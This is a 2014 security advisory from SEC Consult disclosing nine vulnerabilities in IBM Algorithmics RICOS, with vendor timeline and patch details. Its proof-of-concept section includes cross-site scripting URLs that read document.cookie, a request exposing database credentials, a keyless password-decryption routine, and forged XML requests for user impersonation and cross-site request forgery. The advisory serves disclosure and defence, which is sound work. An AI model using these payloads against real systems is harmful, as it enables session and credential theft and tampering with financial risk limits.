Multiple severe vulnerabilities in IBM Algorithmics RICOS

SEC Consult Vulnerability Lab Security Advisory < 20140630-0 >


title: Multiple severe vulnerabilities

product: IBM Algorithmics RICOS

vulnerable version: 4.5.0 - 4.7.0

fixed version:

CVE number: CVE-2014-0894









impact: critical


found: 2013-12-19

by: A. Kolmann, V. Habsburg-Lothringen, F. Lukavsky

SEC Consult Vulnerability Lab



Vendor description:


IBM Algorithmics software enables financial institutions and corporate

treasuries to make risk-aware business decisions. Supported by a global

team of risk experts based in all major financial centers, IBM

Algorithmics solution offerings include market, credit and liquidity risk,

as well as collateral and capital management.




RICOS is a pre-deal limit management solution part of the Algo Suite.



Business recommendation:


The identified vulnerabilities affect integrity and confidentiality of the

risk management system. SEC Consult does not recommend to rely on RICOS as

part of risk management until a thorough security review has been performed

by security professionals. As a workaround, access should be limited only to

trusted users internally and sample checks regarding the plausibility of limits

should be performed manually.



Vulnerability overview/description:


1) Information Disclosure (PSIRT#1440 / CVE-2014-0871 / CVSS 4.3)

The Tomcat configuration discloses technical details within error messages to

the user, which allows an attacker to collect valuable data about the

environment of the solution.


2) Password Disclosure (PSIRT#1441 / CVE-2014-0894 / CVSS 3.5)

The password and the username of the backend database are disclosed in

clear-text to the user of the web application. This allows attackers to

directly connect to the backend database and manipulate arbitrary data stored

in the database (e.g. limits).


3) Non-permanent Cross-Site Scripting (PSIRT#1442 / CVE-2014-0870 / CVSS 4.3)

Several parameters in the RICOS web front end and the Blotter are not properly

sanitized and cause Cross-Site Scripting vulnerabilities. Attackers can steal

user sessions and impersonate other users while performing arbitrary actions

on behalf of the victim user.


4) Broken Encryption (PSIRT#1443 / CVE-2014-0869 / CVSS 4.3)

Weak cryptographic algorithms, being used to store and transfer

user's passwords, allow an attacker to retrieve the plain-text passwords

without further knowledge of cryptographic keys.


5) Manipulation of read-only data / dual control mechanism bypass (PSIRT#1444 / CVE-2014-0868 / CVSS 3.5)

Several fields of stored data within RICOS are marked as read-only in the web

application, disallowing modification of certain fields. These checks are only

performed client-side, allowing an attacker to alter arbitrary data. An

attacker can create a limit, alter the username of the created limit and

confirm the limit himself, circumventing dual control mechanisms advertised by



6) Cross-Site Cookie Setting (PSIRT#1445 / CVE-2014-0867 / CVSS 4.3)

A vulnerable page in RICOS allows an attacker to set and overwrite arbitrary

cookies for a user that clicks on a manipulated link.


7) Plain-text submission of passwords (PSIRT#1446 / CVE-2014-0866 / CVSS 4.3)

The RICOS fat client submits user credentials in plain-text. An attacker with

access to the network communication can perform man-in-the-middle attacks and

steal user credentials.

This vulnerability also applies to the Blotter, where authentication is

performed unencrypted.


8) Client-side Input Validation (PSIRT#1447 / CVE-2014-0865 / CVSS 3.5)

The RICOS fat client performs input validation only client-side. This allows

an attacker to alter arbitrary data. An attacker can create a limit, alter

the username of the created limit and confirm the limit himself, circumventing

dual control mechanisms advertised by RICOS.


9) Cross-Site Request Forgery (PSIRT#1448 / CVE-2014-0864 / CVSS 4.3)

The web application does not verify that requests are made only from within

the web application, allowing an attacker to trick users into performing

requests to the web application. This allows an attacker to perform tasks on

behalf of the victim user like modifying limits.



Proof of concept:


1) Information Disclosure

The following URL causes a status 404, disclosing the Tomcat version:

https:// ricos/ricos470/classes/


If control characters (i.e. \x00) are sent as part of the cookie, a stack trace

is triggered


2) Password Disclosure

The following request sent by the client during regular communication shows the

database connection settings including the username and the password in


POST /ricos470/Executer HTTP/1.1
Host: ricos

<i n="URN" v=""/><i n="SecServiceURN" v="obsv2:ricos:20100"/><i n="SecSource" v="LM web"/><i n="SecTimeout" v="7200"/><i n="AcsAutoReconnect" v="Y"/><i n="AcsFunctionLimits" v=""/></t><t n="ObServer"><i n="UserId" v=""/><i n="Password" v=""/><i n="Host" v="ricos"/><i n="Port" v="20100"/><i n="CollectionId" v=""/><i n="DbName" v="RICA"/><i n="Location" v="RICA"/><i n="DbType" v="ORA"/><i n="Application" v="RICOS"/><i n="AppId" v="LM web"/><i n="AppDesc" v=""/><i n="AppVer" v="4.7.0"/><i n="Component" v="RICOS Gui"/><i n="DbUser" v="rica"/><i n="DbPass" v="password"/>


3) Non-permanent Cross-Site Scripting

The following URLs demonstrate Cross-Site Scripting vulnerabilities:


POST /ricos470/rcore6/main/showerror.jsp HTTP/1.1
Host: ricos


https:// ricos/ricos470/rcore6/main/buttonset.jsp?ButtonsetClass=x";+alert(document.cookie);//x

https:// ricos/ricos470/rcore6/frameset.jsp?PROF_NAME=&Caller=login&ChildBrowser=Y&MiniBrowse=Y&OBJECT=profile_login&CAPTION_SELECT=MNU_PROFILE_VIEW&MBName=profile_login')");alert(document.cookie);//

http:// ricos/algopds/rcore6/main/browse.jsp?Init=N";alert(document.cookie)&Name=trades&StoreName=trades&HandlerFrame=Caption&ShowStatus=N&HasMargin=Y 

http:// ricos/algopds/rcore6/main/ibrowseheader.jsp?Name=trades;alert(document.cookie)&StoreName=trades;alert(document.cookie)&STYLESHEET=browse"/><script>alert(document.cookie)</script>


4) Broken Encryption

The user's password is transported frequently in requests within the application.

The following function decrypts the password without requiring any cryptographic key:


public static void decrypt(String string) 
	int nRadix = 32;
	int nR2 = nRadix * nRadix / 2;
	GregorianCalendar cal = new GregorianCalendar();
	String key = string.substring(0, 2);
	int nKey = Integer.parseInt(key, 32);
	String encPw = string.substring(2, string.length());
	int y = 0;
	for (int i = 0; i < encPw.length(); i+=2)
		String aktuell = encPw.substring(i,i+2);	
		int new_value = Integer.parseInt(aktuell, 32);
		int character = - nKey * (y + 1) % nR2 + new_value;
		char decrypt = (char) character;
		y = y + 1;


5) Manipulation of read-only data / dual control mechanism bypass

The following example illustrates how to manipulate a request so that the server

saves it on behalf of another user (only the relevant parts are shown):


<?xml version="1.0" encoding="UTF-8"?>
  <t n="Service">
    <i n="RequestType" v="#Action"/>
    <t n="#ActionData">
      <i n="#ActionName" v="web.getmeta_udf"/>
      <i n="#Mode" v="#Sync"/>
      <i n="#Request" v="#Execute"/>
      <t n="#OutputData">
        <t n="#MapTable">
          <i n="#ResultData" v="#ResultData"/>
          <i n="#ResultTable" v="#ResultTable"/>
      <t n="#InputData">
        <t n="#WorkTable">
          <t n="det_limit">
            <i n="SCTYGEID" v="A"/>
            <i n="LMLCURID" v="other_user"/>
            <i n="LMEQEPSTDA" v=""/>
            <i n="MFURID" v="other_user"/>
            <i n="LMEVFL" v="N"/>
            <i n="SOLMFL" v="N"/>
                    <i n="CRURID" v="other_user"/>
                    <i n="MFTS" v=""/>
                    <i n="MFURID" v="other_user"/>         
                    <i n="CRURID" v="other_user"/>
                    <i n="MFTS" v=""/>
  <t n="Session">
    <t n="SessionData">
      <i n="LoginUser" v="other_user"/>
      <i n="LoginPass" v="8HC34BCM5JE84ND95RED"/>
        <i n="LoginUser v="other_user"/>
        <i n="LoginPWD" v="326K9DC9FNIT3T70A3D6"/>
        <i n="URN" v=""/>
        <i n="SecServiceURN" v="obsv2:ricos:20100"/>
      <t n="ObServer">
        <i n="UserId" v="other_user"/>
        <i n="Password" v=""/>
        <i n="Host" v="ricos"/>
        <i n="Prefix" v="RICA"/>
        <i n="DbSystem" v="oracle"/>
        <i n="LoginUserId" v="other_user"/>


6) Cross-Site Cookie Setting

The following URL allows setting of arbitrary cookies:


https:// ricos/ricos470/rcore6/main/addcookie.jsp?test-cookie=cookie-content


7) Plain-text submission of passwords

Neither the fat client nor the Blotter use https to communicate with the

backend server. Both send unencrypted credentials via http during authentication.


8) Client-side Input Validation

By manipulating serialized objects that are transmitted by the fat client,

it is possible to change the user name who created a limit, allowing an attacker

to bypass dual control mechanisms.


9) Cross-Site Request Forgery

The following request, sent on behalf of an authenticated user will e.g.

change the currency of a given deal:


POST http:// ricos/ricos470/Executer HTTP/1.1
Host: ricos

<?xml version="1.0" encoding="UTF-8"?>
  <t n="Service">
    <i n="RequestType" v="#Action"/>
    <t n="#ActionData">
      <i n="#ActionName" v="web.updrec_msp"/>
      <i n="#Mode" v="#Sync"/>
      <i n="#Request" v="#Execute"/>
      <t n="#InputData">
        <t n="#MapTable">
          <i n="#InputData" v="det_msp"/>
        <t n="#WorkTable">
          <t n="det_msp">
            <i n="SYPMID" v="SYS-PAR-ID"/>
            <i n="CUCD" v="USD"/>
            <i n="MIGORILV" v="11"/>
            <i n="ILPLMVFL" v="Y"/>
            <i n="ILNEMVFL" v="Y"/>
            <i n="BSCUONFL" v="N"/>
            <i n="PBSCUOFL" v="N"/>
            <i n="LORICUTEFL" v="N"/>
            <i n="SYSAVAILFL" v="F"/>	
            <i n="CUSTID" v="CUSTOMER"/>
            <i n="CBNALI" v="IS-LOCATED-IN"/>
            <i n="CBNAAG" v="AUTOMATIC-GROUP"/>
            <i n="UDF1" v="Welcome to ricos 4.71"/>



Vulnerable / tested versions:


IBM Algorithmics RICOS 4.71



Vendor contact timeline:


2014-01-24: Contacting vendor through

2014-01-24: Vendor response, will likely require more than 30 days to resolve issues

asking for acknowledgements

2014-01-24: Sending acknowledgements

2014-01-29: Vendor assigns PSIRT advisory numbers 1440-1448 to reported issues

2014-02-07: Vendor confirms 8 of 9 vulnerabilities and sends CVE and CVSS

2014-02-10: Providing further information on assumed to be false positive issue 1441

2014-02-14: Telco to clarify vulnerability details and agree on further procedure

patches are scheduled for end of June 2014

2014-02-20: Vendor confirms issue 1441 to be a vulnerability

2014-05-27: Vendor announces that patches will be released on 2014-06-30

2014-06-26: Vendor published patches and security bulletin

2014-06-30: SEC Consult publishes the advisory





Apply patch ACLM FP5. More information:





Limit access to RICOS and manually perform sample checks regarding the

plausibility of limits.



Advisory URL:





SEC Consult Vulnerability Lab


SEC Consult

Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius



Mooslackengasse 17, 1190 Vienna, Austria

Phone: +43 1 8903043 0

Fax: +43 1 8903043 15


Mail: research at sec-consult dot com





Interested to work with the experts of SEC Consult?

Write to


EOF F. Lukavsky / @2014